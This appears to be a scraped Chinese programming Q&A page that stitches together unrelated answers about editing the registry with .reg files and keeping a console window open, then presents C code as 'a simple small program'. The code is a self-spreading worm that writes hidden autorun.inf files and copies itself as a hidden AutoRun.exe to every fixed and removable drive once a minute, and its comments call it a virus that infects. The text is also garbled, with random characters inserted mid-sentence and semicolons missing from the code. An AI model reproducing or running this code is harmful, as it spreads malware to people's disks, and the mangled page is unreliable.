基于VC++6.0或Visual Studio的一个小程序实现

基于VC++6.0或Visual Studio的一个小程序实现,第1张

如果只是纯粹修改一下注册表,那么完全不用那么麻烦。毕竟exe程序修改注册表还有个仔信系统兼容问题。

既然你连窗口都不需要,那么写的东西就是固渗猛定的。

关注.reg文件,只要你将需要写的注册表项做成纯文本,在每天机器上双击执行一下就可以了。

而生成也很简单,本机使用regedit,选中你的指定的注册表项,然后念喊轮菜单上导出就ok了。

因念唤拦为这是个完整的程序,你输入回车,然后显示输出,再然后就执行到主函数右括号仔胡处,最后结束程序,关闭窗口。

最简单的解决办法就是在printf("积为%d\n",c)后面加一句scanf(" "链粗)

给你一个简单的小程序,自动复制到所有分区根目录,并可以双击磁盘运行

#include "stdafx.h"

#include <windows.h>

#include <stdio.h>

void WriteIni(char* path)

{

char inifilepath[256]

strcpy(inifilepath,path)

strcat(inifilepath,"\\autorun.inf")

WritePrivateProfileString("AutoRun","open","AutoRun.exe",inifilepath)//写入INI

WritePrivateProfileString("AutoRun","shell\\open","Open(&O)",inifilepath)//写入INI

WritePrivateProfileString("AutoRun","shell\\open\\Command","AutoRun.exe",inifilepath)//写入INI

SetFileAttributes(inifilepath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN)

}

void InjectAllDisk()

{

for(char i='A'i<='Z'i++)

{

char x[20]={i,':'}

UINT Type=GetDriveType(x)

if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)

{

printf("InjectAllDisk\n")

WriteIni(x)

char VirusPath[MAX_PATH]

char CurrentPath[MAX_PATH]

GetModuleFileName(NULL,CurrentPath,MAX_PATH)

sprintf(VirusPath,"%s%s",x,"\\AutoRun.exe")

CopyFile(CurrentPath,VirusPath,true)

SetFileAttributes(VirusPath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN)

}

}

}

DWORD WINAPI StartInject(LPVOID lparam)//打开磁碰磨旅盘笑凳 每隔60妙 感染一次

{

char szCmd[MAX_PATH]

char Path[MAX_PATH]

GetModuleFileName(NULL,Path,MAX_PATH)

Path[2]='\0'

sprintf(szCmd,"explorer %s",Path)//感染后磁盘无法正常游衡打开 所以应该用Explorer打开

WinExec(szCmd,SW_SHOW)

while (true)

{

InjectAllDisk()

Sleep(1000*60)

}

return 0

}

int main(int argc, char* argv[])

{

HANDLE Thread=CreateThread(NULL,NULL,StartInject,NULL,NULL,NULL)

WaitForSingleObject(Thread,INFINITE)

return 0

}

以上是完整的实现,为了实现这个感染,按照功能分别用三个函数写成,分别为写入INI文件,开始感染和打开磁盘


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12529378.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-26
下一篇 2023-05-26

发表评论

登录后才能评论

评论列表(0条)

保存